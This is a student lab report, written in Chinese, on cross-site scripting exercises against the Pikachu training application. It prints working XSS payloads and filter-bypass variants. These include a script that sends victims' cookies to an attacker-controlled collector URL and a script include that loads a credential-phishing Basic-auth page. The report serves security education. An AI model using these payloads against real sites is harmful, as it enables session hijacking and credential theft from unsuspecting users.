web安全

实验报告

 

实验二

XSS

 

 

 

学生姓名	涂君奥
年级	2017级
区队	实验班
指导教师	高见

XSS概述

简介

Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上，一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
  输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;
  输出转义：根据输出点的位置对输出到前端的内容进行适当转义;

简单说；

    XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户

    XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制

XSS漏洞测试流程

    ① 在目标上找输入点，比如查询接口、留言板

    ② 输入一组 “特殊字符（>，'，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理

    ③ 通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）

    ④ 提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

 

反射型XSS(get)

开始我们先输入任意信息

 

 

 

 在输入一些特殊字符，看看是否会被过滤

 

 

 

 

 下面我们查看一下页面源码

我们的输入被原封不动地输出到了 p 标签中

 

 

 

 

 

 

 下面测试我们输入的JS代码，看是否会原封不动地输出，payload如下

<script>alert("James")</script>
由于前端对输入长度做了限制，我们需要修改一下才能输入完整的payload

 

 

 

 

提交之后发现我们的payload在浏览器上成功执行了

 

 

 

 

 

 

 

 我们查看源码可以发现，我们输入的payload嵌入了到了 p 标签里面

 

 

 

 这是一个简单的反射型XSS，从前端输入由后端接受再输出后端没有对这个内容进行存储

这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标

 

 

 

 

    另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可

    如果是POST型的XSS，无法直接使用URL的方式进行攻击

 二.反射性XSS（post）

用户名为admin 密码为123456

 

 

 

 

 

 输入特殊字符，后台抓包

 

 

 

这里是以POST的方式提交的，参数内容不会出现在URL中， 这时候我们不能直接把我们的恶意代码嵌入到URL中

自己搭一个恶意站点，然后在网站上放一个post表单

    将存放POST表单的链接发送给受害者，诱导受害者点击

修改一下  /pikachu-master/pkxss/xcookie/post.html 的 IP地址

 

 

 

 

 

 

 

post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面

http://192.168.1.15:10000/pikachu/pkxss/xcookie/post.html

    我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

输入

<script>document.location = 'http://192.168.1.15:10000/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

 

 

 

 

 

 

 

 

 后台查看，成功获取

 

 

 

 

 

 

三、存储型XSS 

    存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

先在留言板上输入一些内容，观察转义情况

 

 

 

 

 

 

 

我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理

输入下面的Payload进行测试：

<script>alert("xss")</script>

 

 

 

 

 

DOM型XSS

 DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树

 

 

我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

先输入一些特殊字符，看看情况

 

 

 

 

 查看网页源代码

 

 

 

 试一下给的提示

' onclick="alert('xss')">

 

成功弹窗

 

  

原理：

它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

    然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

    我们通过闭合的方式构造Payload

 

DOM型XSS-X

和刚才一样，先任意输入一些内容

 

 

 

点击后发现多出一行字

查看网页源代码

 

 

 

 和刚刚一样，尝试

' onclick="alert('xss')">

 

 

 

    这里它定义了一个domxss函数

    它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

    然后经过URL解码和字符串分隔，取出URL中的参数内容

    再把 “+” 替换为 “ ”（空格），赋值给 xss

    最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

    跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)

 

 

 

XSS之盲打

    XSS盲打不是攻击类型，而是一个攻击场景

 

 

 

    提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

    如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

    那后台管理员可能遭受到我们的XSS攻击，

 <script>alert("hello")</script>

 

 

 

 

 点击提示查看

 

 

 

 

 进入管理员 用户名：admin 密码：123456

 

 

 

 

 

登入进来就发现弹框了

 

 

 

 

 

XSS之过滤

    实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

 

 

 

 被过滤了

 

 

 其中还是有一些东西没有过滤掉

我们的思路可以有

• 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
• 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
• 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
• 注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

尝试用

<img src=0 one rror="alert(document.cookie)">

 

 

成功绕过

 

 

 

XSS之htmlspecialchars

    关于htmlspecialchars()函数

    htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

    预定义的字符是

• & 成为 &amp
• " 成为 &quot
• ' 成为 &#039
• < 成为 &lt
• > 成为 &gt

    可用引号类型

• ENT_COMPAT：默认，仅编码双引号
• ENT_QUOTES：编码双引号和单引号
• ENT_NOQUOTES：不编码任何引号

先试试最基本的

 

 

 

 

 查看后台

 

 

 

 

 输入其他的试试

 

 

 

 

 

 

 

 这次发现 “ " ”，“ > ”和“ < ”都经过了编码，单引号依然可以使用

    我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

' onclick=alert(“123”) '

 

 

 

XSS之href输出

随意输入一些内容

 

 

 

 查看源码

 

 

 

 我们看到在 a 标签的href属性中，可以用javascript协议来执行JS

javascript:alert("123")

 

 

 

 

XSS之js输出

尝试一下

<script>alert("James")</script>

去后台找源码

 

 

 

 找到问题所在

我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码

'</script><script>alert('hello')</script>

 

 

 

 XSS-钓鱼结果

这里用一个Basic认证去做这个钓鱼攻击

 

在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时，这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部，这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

  修改 /pikachu-master/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者（本地）的服务器地址

 

 

 构造的Payload：<script src="http://192.168.141.1:88/pikachu-master/pkxss/xfish/fish.php"></script>  , 重定向到我们攻击网址，这时候如果用户没有足够的安全意识，就会丢失自己的数据

 

 

 

 用户不知情下输入相关信息

 

 

 

 抓到结果